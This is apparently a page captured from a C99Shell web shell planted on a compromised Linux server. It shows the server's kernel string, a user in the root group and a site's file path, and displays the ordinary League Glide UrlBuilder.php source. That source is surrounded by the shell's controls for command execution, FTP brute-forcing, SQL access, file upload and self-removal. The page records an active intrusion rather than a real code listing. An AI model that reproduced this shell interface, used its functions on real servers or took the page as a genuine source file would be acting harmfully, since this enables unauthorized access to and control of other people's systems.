!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/league/glide/src/Urls/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UrlBuilder.php (2.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace League\Glide\Urls;

use 
InvalidArgumentException;
use 
League\Glide\Signatures\SignatureInterface;

class 
UrlBuilder
{
    
/**
     * The base URL.
     *
     * @var string
     */
    
protected $baseUrl;

    
/**
     * Whether the base URL is a relative domain.
     *
     * @var bool
     */
    
protected $isRelativeDomain false;

    
/**
     * The HTTP signature used to sign URLs.
     *
     * @var SignatureInterface
     */
    
protected $signature;

    
/**
     * Create UrlBuilder instance.
     *
     * @param string                  $baseUrl   The base URL.
     * @param SignatureInterface|null $signature The HTTP signature used to sign URLs.
     */
    
public function __construct($baseUrl ''SignatureInterface $signature null)
    {
        
$this->setBaseUrl($baseUrl);
        
$this->setSignature($signature);
    }

    
/**
     * Set the base URL.
     *
     * @param string $baseUrl The base URL.
     *
     * @return void
     */
    
public function setBaseUrl($baseUrl)
    {
        if (
'//' === substr($baseUrl02)) {
            
$baseUrl 'http:'.$baseUrl;
            
$this->isRelativeDomain true;
        }

        
$this->baseUrl rtrim($baseUrl'/');
    }

    
/**
     * Set the HTTP signature.
     *
     * @param SignatureInterface|null $signature The HTTP signature used to sign URLs.
     *
     * @return void
     */
    
public function setSignature(SignatureInterface $signature null)
    {
        
$this->signature $signature;
    }

    
/**
     * Get the URL.
     *
     * @param string $path   The resource path.
     * @param array  $params The manipulation parameters.
     *
     * @return string The URL.
     */
    
public function getUrl($path, array $params = [])
    {
        
$parts parse_url($this->baseUrl.'/'.trim($path'/'));

        if (
false === $parts) {
            throw new 
InvalidArgumentException('Not a valid path.');
        }

        
$parts['path'] = '/'.trim($parts['path'], '/');

        if (
$this->signature) {
            
$params $this->signature->addSignature($parts['path'], $params);
        }

        return 
$this->buildUrl($parts$params);
    }

    
/**
     * Build the URL.
     *
     * @param array $parts  The URL parts.
     * @param array $params The manipulation parameters.
     *
     * @return string The built URL.
     */
    
protected function buildUrl($parts$params)
    {
        
$url '';

        if (isset(
$parts['host'])) {
            if (
$this->isRelativeDomain) {
                
$url .= '//'.$parts['host'];
            } else {
                
$url .= $parts['scheme'].'://'.$parts['host'];
            }

            if (isset(
$parts['port'])) {
                
$url .= ':'.$parts['port'];
            }
        }

        
$url .= $parts['path'];

        if (
count($params)) {
            
$url .= '?'.http_build_query($params);
        }

        return 
$url;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--